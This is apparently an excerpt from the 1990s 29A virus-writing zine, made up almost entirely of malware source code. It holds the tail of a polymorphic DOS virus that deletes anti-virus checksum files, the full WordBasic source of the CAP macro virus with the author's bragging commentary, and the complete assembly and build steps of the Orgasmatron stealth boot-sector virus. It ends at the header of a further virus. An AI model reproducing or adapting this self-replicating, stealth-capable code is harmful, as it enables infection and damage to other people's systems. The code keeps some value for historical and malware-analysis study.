db 0C5h db 0EDh db 45h db 0FDh equ this byte equ this byte dw offset crypt_add dw offset crypt_sub dw offset crypt_xor dw offset crypt_rol dw offset crypt_ror dw offset crypt_inc dw offset crypt_dec equ this byte equ this byte dw offset ptr_add0002h dw offset ptr_subFFFEh dw offset ptr_inc_inc dw offset ptr_inc_add dw offset ptr_add_inc dw offset ptr_inc_sub dw offset ptr_sub_inc dw offset ptr_add_add dw offset ptr_sub_sub dw offset ptr_add_sub dw offset ptr_sub_add

; inc si ; cmp si,imm ; ; ; ; ; ; ; ; ; ; ; ;

mov add rol inc sub xor ror dec add sub inc cmp

di,imm [di+nn],key [di+nn],01h [di+nn] [di+nn],key [di+nn],key [di+nn],01h [di+nn] di,imm di,imm di di,imm

; ; ; ; ; ; ; ; ; ; ; ;

mov add rol inc sub xor ror dec add sub inc cmp

bx,imm [bx+nn],key [bx+nn],01h [bx+nn] [bx+nn],key [bx+nn],key [bx+nn],01h [bx+nn] bx,imm bx,imm bx bx,imm

; ; ; ; ; ; ; ; ; ; ; ;

mov add rol inc sub xor ror dec add sub inc cmp

bp,imm [bp+nn],key [bp+nn],01h [bp+nn] [bp+nn],key [bp+nn],key [bp+nn],01h [bp+nn] bp,imm bp,imm bp bp,imm

end_inc_ptr opcodes_table

equ this byte equ this byte dw offset opcodes_si dw offset opcodes_di dw offset opcodes_bx dw offset opcodes_bp end_opcodes equ this byte generator_table equ this byte dw offset gen_one_byte dw offset gen_push_pop dw offset gen_xpushpop dw offset gen_reg_reg dw offset gen_cond_jump dw offset gen_inm_01h dw offset gen_inm_02h end_generator equ this byte push_table equ this byte push ax push bx push cx push dx push si push di push bp push sp push cs push ds push es push ss end_push equ this byte pop_table equ this byte pop ax pop cx pop dx end_pop equ this byte one_byte_table equ this byte aaa aas cbw clc cld cmc cwd daa das dec ax dec cx dec dx inc ax inc cx inc dx int 03h nop stc std end_one_byte equ this byte two_byte_table equ this byte db 8Ah db 8Bh db 02h db 03h db 2Ah db 2Bh

; ; ; ; ; ; ; ;

Garbage generators: One byte instr push+pop push+garbage+pop mov,add,sub,or... cond jmp+garbage Gen reg,imm Gen reg,imm

; Push generator

; Pop generator

; One byte instrs

; ; ; ; ; ;

mov mov add add sub sub

reg8,reg8 reg16,reg16 reg8,reg8 reg16,reg16 reg8,reg8 reg16,reg16

end_two_byte reg_reg_table

end_reg_reg inm_01h_table

end_inm_01h inm_02h_table

db 12h db 13h db 1Ah db 1Bh db 32h db 33h db 22h db 23h db 0Ah db 0Bh equ this byte equ this byte db 0C0h db 0C1h db 0C2h db 0C3h db 0C4h db 0C5h db 0C6h db 0C7h db 0C0h db 0C1h db 0C2h db 0C3h db 0C4h db 0C5h db 0C6h db 0C7h equ this byte equ this byte db 0B0h db 0B4h db 0B2h db 0B6h db 04h db 2Ch db 14h db 1Ch db 34h db 0Ch db 24h equ this byte equ this byte db 80h,0C4h db 80h,0C2h db 80h,0C6h db 80h,0ECh db 80h,0EAh db 80h,0EEh db 80h,0D4h db 80h,0D2h db 80h,0D6h db 80h,0DCh db 80h,0DAh db 80h,0DEh db 80h,0F4h db 80h,0F2h db 80h,0F6h db 80h,0CCh db 80h,0CAh db 80h,0CEh db 80h,0E4h db 80h,0E2h

; ; ; ; ; ; ; ; ; ;

adc reg8,reg8 adc reg16,reg16 sbb reg8,reg8 sbb reg16,reg16 xor reg8,reg8 xor reg16,reg16 and reg8,reg8 and reg16,reg16 or reg8,reg8 or reg16,reg16

; ; ; ; ; ; ; ; ; ; ;

mov al,imm mov ah,imm mov dl,imm mov dh,imm add al,imm sub al,imm adc al,imm sbb al,imm xor al,imm or al,01h and al,imm

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

add ah,1C add dl,1C add dh,1C sub ah,1C sub dl,1C sub dh,1C adc ah,1C adc dl,1C adc dh,1C sbb ah,1C sbb dl,1C sbb dh,1C xor ah,1C xor dl,1C xor dh,1C or ah,1C or dl,1C or dh,1C and ah,1C and dl,1C

end_inm_02h

db 80h,0E6h db 83h,0E2h db 83h,0C2h db 83h,0CAh db 83h,0F2h db 83h,0DAh db 83h,0D2h db 83h,0EAh equ this byte

; ; ; ; ; ; ; ;

and dh,1C and dx,0000 add dx,0000 or dx,0000 xor dx,0000 sbb dx,0000 adc dx,0000 sub dx,0000

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ File names to delete inside the int 21h level encryption ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdel_this_shit01 db "ANTI-VIR.DAT",00h del_this_shit02 db "CHKLIST.MS",00h dd 00000000h end_area03h equ this byte dd 00000000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Memory allocation routine ³ ;³ On entry: ³ ;³ SI -> number of paragraphs to allocate ³ ;³ On exit: ³ ;³ DI -> allocated base address (0000h if error) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmem_alloc:

mem_ok_1:

mem_ok_2:

mem_error_2:

mem_error_1:

xor di,di mov ax,5800h int 21h jnc mem_ok_1 ret push ax mov ax,5801h mov bx,0080h int 21h mov ax,5802h int 21h jc mem_error_1 xor ah,ah push ax mov ax,5803h mov bx,0001h int 21h mov ah,48h mov bx,si int 21h jc mem_error_2 mov di,ax mov ax,5803h pop bx int 21h mov ax,5801h pop bx int 21h ret

; Error flag ; Get and save memory ; allocation strategy

; ; ; ; ;

Set new allocation strategy to first fit high then low Get and save UMB link state

; UMB link state on

; Allocate memory

; Restore UMB ; link state ; Restore allocation ; strategy

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Timer-based random number generator ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_rnd:

push cx

in ax,40h mov cl,al xor al,ah xor ah,cl xor ax,word ptr cs:[randomize] mov word ptr cs:[randomize],ax pop cx ret

; Get a random number ; using the timer ; port

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate a 16bit random number ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄrand_16: push bx call get_rnd ; Get a 16bit random mov bl,al ; number using our call get_rnd ; 8bit rnd generator mov bh,al call get_rnd xor bl,al call get_rnd xor bh,al xchg bx,ax pop bx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate a random number between 0 and AX ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄrand_in_range:

end_area02h

push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx xchg ax,dx pop dx pop bx ret dd 00000000h equ this byte dd 00000000h

; Returns a random ; number between 0 and ; the entry in AX

; Reminder in DX

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Return the al vector in ES:BX ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_int:

push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,dword ptr es:[bx+00h] pop ax ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Set al interrupt vector to DS:DX ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄset_int:

push ax

push bx push ds cli xor ah,ah rol ax,1 rol ax,1 xchg ax,bx push ds xor ax,ax mov ds,ax mov word ptr ds:[bx+00h],dx pop word ptr ds:[bx+02h] sti pop ds pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Save all the registers in the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄpush_all:

ret_push

cli pop word ptr cs:[ret_push] pushf push ax push bx push cx push dx push bp push si push di push es push ds push word ptr cs:[ret_push] sti ret dw 0000h

; Caller address

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Restore all the registers from the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄpop_all:

ret_pop end_area01h

cli pop word ptr cs:[ret_pop] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push word ptr cs:[ret_pop] sti ret dw 0000h dd 00000000h equ this byte dd 00000000h

; Caller address

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus buffers (inserted into infections) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄold_header virus_inf_end

db 1Ch dup (00h) dd 00000000h equ this byte

; Old file header

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus data buffer (not inserted into infections) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

use_close use_terminate eng_recursive eng_loop_point eng_crypt_key eng_displace eng_entry_point eng_init_ptr eng_cmp_ptr eng_exit_jmp randomize file_attr file_date file_time file_size inf_header exec_filename open_filename delete_path dropper_name virus_mem_end anti_eta

dd 00000000h db 00h db 00h db 00h dw 0000h dw 0000h dw 0000h dw 0000h dw 0000h dw 0000h dw 0000h dw 0000h dw 0000h dw 0000h dw 0000h dd 00000000h db 1Ch dup (00h) db 80h dup (00h) db 80h dup (00h) db 80h dup (00h) db 0Eh dup (00h) equ this byte ends end entry_point

; ; ; ; ; ; ; ; ; ;

Seed for random numbers Original file attribute File date ... and time Size of file to infect Infected header File to infect File to infect File to delete Dropper file name

' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '

WordMacro.CAP by Jacky Qwerty/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Hello people, well here it is. Theres nothin more to say about this babe. It has ranked first in several "Top 10 virus" listz as the most prevalent virus and has kicked several AVer's assez out there due to its suposedly "complex" featurez - well F-Potatoe says erm.. 8*/ - and by its ability to create spontaneously generated variantz from itself. It is the CAP macro virus and here is its full source code, bein first released in 29A#2. Most of the CAP featurez have been fully described before, includin some comented code fragmentz. The main diference between the followin source code and the original i wrote some months ago is that this code has been indented for better understandin, while the original version was left-justified prior to release. At this point i think its worthless to coment each line in the virus code considerin it has been done in full detail before. For that purpose i suggest to read the past articlez: "Macro virus tricks" and "WordMacro.CAP description" for further information. Here only a quick review of the CAP main featurez is given: * * * * * * * *

No "SaveAs" problem: drive, path and format work in SaveAs dialog boxez. Works in all existing Word languagez. Automacroz not needed for this. Works in all Word platformz: PC, MAC, POWERMAC, etc. some virusez can't. Guaranted to survive even if other macro virusez are currently present. Internal generation count implemented, not using any .INI to store it. Full stealth implemented, either by disabling or/and deleting submenuz. Infects RTF filez too, i.e. saves them as templatez as with any DOC. No payload. As the guy from NesCafee who wrote the Concept virus said: "This is enough to prove my point" #8).

Who TF is CAP ? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This virus was dedicated to a well known corrupt political figure in Venezuela: Carlos Andr‚s P‚rez, better known as CAP, alias "El Gocho", former president of Venezuela twice, durin the late 70's and the late 80's. Several eventz in the social history of Venezuela were badly marked by this prepotent stubborn ninja turtle headed man, most notably durin the September 1996 timeframe, when to the astonished sight of more than one million people, he was found "not guilty" for the chargez of robery and malversation of public fundz. After the judgement, he was already planin his candidature to postulate for the next presidential electionz. Grrr... All these eventz encouraged the writin of this virus in mishap of this social human virus known as CAP. The internal stringz translate as: C.A.P: a social virus.. and now a digital one.. "j4cKy Qw3rTy" ([email protected]). Venezuela, Maracay, Dic 1996. P.S. Whatcha doin gochito? You'll never be Simon Bolivar.. Clown!

Greetz ÄÄÄÄÄÄ The greetz go this time to: All the guyz from undernet and effnet #virus on IRC: keep lamerz out ;) Microsoft for such big holez in their office aplicationz: drunk boyz..!

' ' ' ' ' ' ' '

Disclaimer ÄÄÄÄÄÄÄÄÄÄ This sample code is for educational purposez only. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. Jacky Qwerty / 29A.

Macro: CAP - description: "F%" ÄÄÄÄÄÄÄÄÄÄ Sub MAIN 'C.A.P: Un virus social.. y ahora digital.. '"j4cKy Qw3rTy" ([email protected]). 'Venezuela, Maracay, Dic 1996. 'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa ! End Sub Dim Shared M$(9) Sub S(F$) On Error Resume Next S$ = "F%" 'virus mark D$ = "Macro" C$ = "Close" B$ = "Open" A$ = "File" M$(0) = "CAP" 'build namez for the basic set of macroz M$(3) = A$ + C$ M$(5) = A$ + "Save" M$(2) = A$ + B$ M$(9) = A$ + "Templates" A$ = "Auto" M$(6) = M$(5) + "As" M$(1) = A$ + B$ M$(8) = A$ + "Exec" M$(4) = A$ + C$ M$(7) = "Tools" + D$ M = 0 N = 0 For T = 1 To 0 Step - 1 'scan macros inside global For I = CountMacros(T) To 1 Step - 1 ' and active template and B$ = MacroName$(I, T) ' delete all foreign macroz If S$ = Left$(MacroDesc$(B$), 2) Then For J = 0 To 9 If B$ = M$(J) Then If T Then N = N + 1 Else M = M + 1 J = 9 End If Next Else ToolsMacro .Name = B$, .Show = T + T + 1, .Delete End If Next Next If F$ <> "" Then If M < 10 And N Then 'global template infection ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1, .AutoSave = 1, .SaveInterval = "10" For I = 0 To 9 'copy basic set of macroz If I <> 7 Then K = - 1 Else K = 0

MacroCopy F$ + ":" + M$(I), M$(I), K Next 'increment generation count B$ = S$ + LTrim$(Str$(Val(Mid$(MacroDesc$(M$(7)), 3)) + 1)) ToolsMacro .Name = M$(7), .Show = 1, .Description = B$, .SetDesc A$ = MenuText$(0, 1) 'copy localized file For I = CountMacros(1) To 1 Step - 1 ' related macroz J = 0 B$ = MacroName$(I, 1) Select Case MacroDesc$(B$) Case S$ + "O" J = 2 Case S$ + "C" J = 3 Case S$ + "S" J = 5 Case S$ + "SA" J = 6 End Select If J Then C$ = MenuItemMacro$(A$, 0, J) If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And Left$(C$, 1) <> "(" Then MacroCopy F$ + ":" + B$, C$, K End If Next T = - 1 For I = 0 To 1 'delete menu itemz (ToolsMacro, etc.) If I Then J = 1 Else J = 6 A$ = MenuText$(I, J) J = CountMenuItems(A$, I) - 1 For M = J To 1 Step - 1 If InStr(MenuItemMacro$(A$, I, M), D$) Then If I Then B$ = MenuItemMacro$(A$, I, M - 2) If UCase$(B$) <> UCase$(M$(9)) And Left$(B$, 1) <> "(" Then MacroCopy M$(9), B$ , K Else M = M + 1 End If For T = M To M - 1 Step - 1 If T > 3 Then ToolsCustomizeMenus .MenuType = I, .Position = T, .Name = MenuItemMacro$(A$, I, T), .Menu = A$, .Remove, .Context = 0 Next M = 1 T = 0 End If Next Next If T Then For I = 6 To J If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And Left$(MenuItemMacro$(A$, 1, I - 2), 1) = "(" Then For T = 1 To 3 Step 2 B$ = MenuItemMacro$(A$, 1, I - T) If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K Next I = J End If Next End If End If Dim D As FileSaveAs 'document, template and RTF infection GetCurValues D

If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then D.Format = 1 For I = CountMacros(0) To 1 Step - 1 B$ = MacroName$(I, 0) If B$ <> M$(7) Then K = - 1 Else K = 0 MacroCopy B$, F$ + ":" + B$, K Next FileSaveAs D End If End If Err = 0 End Sub Sub FO On Error Resume Next DisableAutoMacros On Error Goto E Dim D As FileOpen GetCurValues D Dialog D FileOpen D S(D.Name) E: End Sub

'FileOpen macro jumps here

Sub FC On Error Resume Next DisableAutoMacros S(FileName$()) FileClose End Sub

'FileClose macro jumps here

Sub FS On Error Resume Next DisableAutoMacros On Error Goto F FileSave S(FileName$()) F: End Sub

'FileSave macro jumps here

Sub FSA 'FileSaveAs macro jumps here On Error Resume Next DisableAutoMacros On Error Goto G Dim D As FileSaveAs GetCurValues D If D.Format <> 1 Then Dialog D FileSaveAs D S(D.Name) Else T = Window() W$ = D.Name FileNew .Template = FileName$() On Error Goto H GetCurValues D D.Name = W$ Dialog D FileSaveAs D On Error Goto G S(D.Name) If T >= Window() Then T = T + 1

WindowList T H: FileClose 2 End If G: End Sub Macro: FileClose - description: "F%C" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN On Error Resume Next CAP.FC End Sub Macro: FileOpen - description: "F%O" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN On Error Resume Next CAP.FO End Sub Macro: FileSave - description: "F%S" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN On Error Resume Next CAP.FS End Sub Macro: FileSaveAs - description: "F%SA" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN On Error Resume Next CAP.FSA End Sub Macro: AutoClose - description: "F%" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN On Error Resume Next CAP.S(FileName$()) End Sub Macro: AutoExec - description: "F%" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN On Error Resume Next DisableAutoMacros 0 CAP.S("") End Sub Macro: AutoOpen - description: "F%" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN On Error Resume Next CAP.S(FileName$()) End Sub

Macro: FileTemplates - description: "F%" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN End Sub Macro: ToolsMacro - description: "F%0" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub MAIN End Sub ' End

'this macro holds the generation count

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

[Orgasmatron] by Vecna/29A A research full-stealth boot virus which uses 386+ PMODE features

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

A lot of help and code by Eternal Maverick/SGWW. This virus is the first boot virus ever that doesn't hook int 13h in to infect and stealth its tracks. It only hooks int 1, to manage the ware debug breakpoints, and int 8, to constantly monitor any changes happen in int 1, to prevent disabling our handler, and setting the breakpoint at the int 13h entry point.

order hardwhich debug

When the computer is booted from an infected floppy, the virus will first check if the computer is 386+, by means of int 6 (invalid opcode). If it's a 286 or even a lower machine, it will return the control to the original boot. Else, it will hook int 1 and int 8. The task performed by int 8 is not to allow any changes in 0:4 (int 1), fixing it if necessary, and set DR3 to point to the BIOS entry point for int 13h. I use DR3, the last of the debug breakpoints, because it's less likely to be overwritten by other programs. Debuggers and other programs that use int 1 or hardware debug breakpoints, like Soft-ICE or Windows95, will either crash, don't work, or don't let the virus work. When int 1 is called, our handler checks if it comes from an int 1 opcode (0xcd, 0x01 or 0xf1), from single step, or from a hardware debug breakpoint. If it is a debug breakpoint, and it comes from "our" DR3, the virus will infect the floppy or stealth it in case it's already infected. Orgasmatron infects the boot sector in HDs and floppies. The original boot is put in the last sector of the first track in harddrives, and in the last sector of the root dir in floppies. This will allow it to work with any floppy size. As you could read in the heading, Orgasmatron is the very first boot virus ever which uses 386+ PMODE features and works in protected mode, making it much more versatile and advanced. Lots of help and bug fix by Eternal Maverick/SGWW. No greetings this time... ;) tasm /m /la orgasmat.asm tlink orgasmat.obj exe2bin orgasmat.exe orgasmat.bin

.model tiny .code .8086 org 0h start

endp bpb

proc jmp loco nop start struc bpb_oem db 8 dup (?) bpb_b_s dw ? bpb_s_c db ?

bpb

bpb_r_s bpb_n_f bpb_r_e bpb_t_s bpb_m_d bpb_s_f bpb_s_t bpb_n_h bpb_h_d bpb_sht ends

boot

bpb <>

loco

proc cli sub ax, ax mov ss, ax mov sp, 7c00h push cs pop ds dec word ptr ds:[413h] int 12h mov cl, 10 ror ax, cl mov es, ax xor di, di mov si, sp mov cx, 0100h rep movsw push es mov ax, offset strtovr push ax retf loco

endp

dw db dw dw db dw dw dw dw db

? ? ? ? ? ? ? ? ? 20h dup (?)

strtovr proc mov byte ptr cs:[i13InUse], 0 push dword ptr ds:[6*4] cmp word ptr ds:[1Ch*4],offset int1C je is286orlower mov word ptr ds:[6*4], offset is286orlower mov word ptr ds:[6*4+2], cs .386p mov eax, dword ptr ds:[13h*4] mov dword ptr cs:[old13], eax mov eax, dword ptr ds:[1Ch*4] mov dword ptr cs:[old1C],eax mov word ptr ds:[1Ch*4],offset int1C mov word ptr ds:[1Ch*4+2],cs jmp installed .8086 is286orlower: inc word ptr ds:[413h] installed: pop dword ptr ds:[6*4] sti push ds pop es retry: xor ax, ax int 13h mov ax, 0201h

endp

mov bx, 7c00h call setcxdxdo13 jc retry db 0eah dw 07c00h dw 0h strtovr

.386p setcxdxdo13 proc push ax cmp dl, 80h je harddrive floppydrive: mov cx, word ptr es:[bx.bpb_r_e+3] shr cx, 4 movzx ax, byte ptr es:[bx.bpb_n_f+3] mul word ptr es:[bx.bpb_s_f+3] add cx, ax inc cx sub cx, word ptr es:[bx.bpb_s_t+3] mov dh, 1 jmp goexit harddrive: mov ah, 8 int 13h and cx, 0111111b mov dx,80h goexit: pop ax int13 proc pushf db 9ah old13 equ this dword dd ? endp int13 ret endp setcxdxdo13 setdr

endp int1C

proc push ds pushad push 0 pop ds mov word ptr ds:[1*4], offset int1 mov word ptr ds:[1*4+2], cs mov byte ptr cs:[change], 90h movzx eax, word ptr cs:[old13] movzx ebx, word ptr cs:[old13+2] shl ebx, 4 add ebx, eax mov dr3, ebx mov eax, dr7 or al, 010000000b mov dr7, eax popad pop ds ret setdr proc cmp byte ptr cs:[i13InUse], 0

jne int1isrunning call setdr int1isrunning: db 0eah old1C dd ? endp int1C int1

change endp debug

proc push eax mov eax, dr6 mov dword ptr cs:[savedr6], eax xor eax, eax mov dr6, eax mov eax, dr7 and al, not 010000000b mov dr7, eax pop eax nop equ byte ptr $ -1 int1

proc push eax push ds push cs pop ds inc byte ptr [i13InUse] mov eax, -1 savedr6 equ dword ptr $-4 test ax, 0100000000001000b jz done mov byte ptr [change], 0cfh cmp cx, 1 jne done cmp dl, 80h jb floppy cmp dh,1 je bootaccess jmp short done floppy: or dh,dh jne done bootaccess: pop ds pop eax add sp, 6 call int13 pushf push ax jc error cmp word ptr es:[bx+offset mymark], '**' mymark equ word ptr $ -2 je stealth mov ax, 0301h call setcxdxdo13 jc error pusha push es push ds push es pop ds push cs pop es

mov di, offset boot lea si,[bx+3] mov cx, 3bh cld rep movsb mov ax, 0301h xor bx, bx inc cx mov dh, 1 cmp dl, 80h je winchester mov dh, 0 winchester: call int13 pop ds pop es popa stealth: mov ax, 0201h call setcxdxdo13 error: dec byte ptr cs:[i13InUse] pop ax popf retf 2 done: dec byte ptr [i13InUse] pop ds pop eax iret endp debug i13InUse db -1 db 0, 0, '-=ðORGASMATRONð=-', 0, 0 org 01feh db 55h,0aah buffer

equ this byte

end

start

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

[Android] by Vecna/29A Polymorphic boot virus with VRBL

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

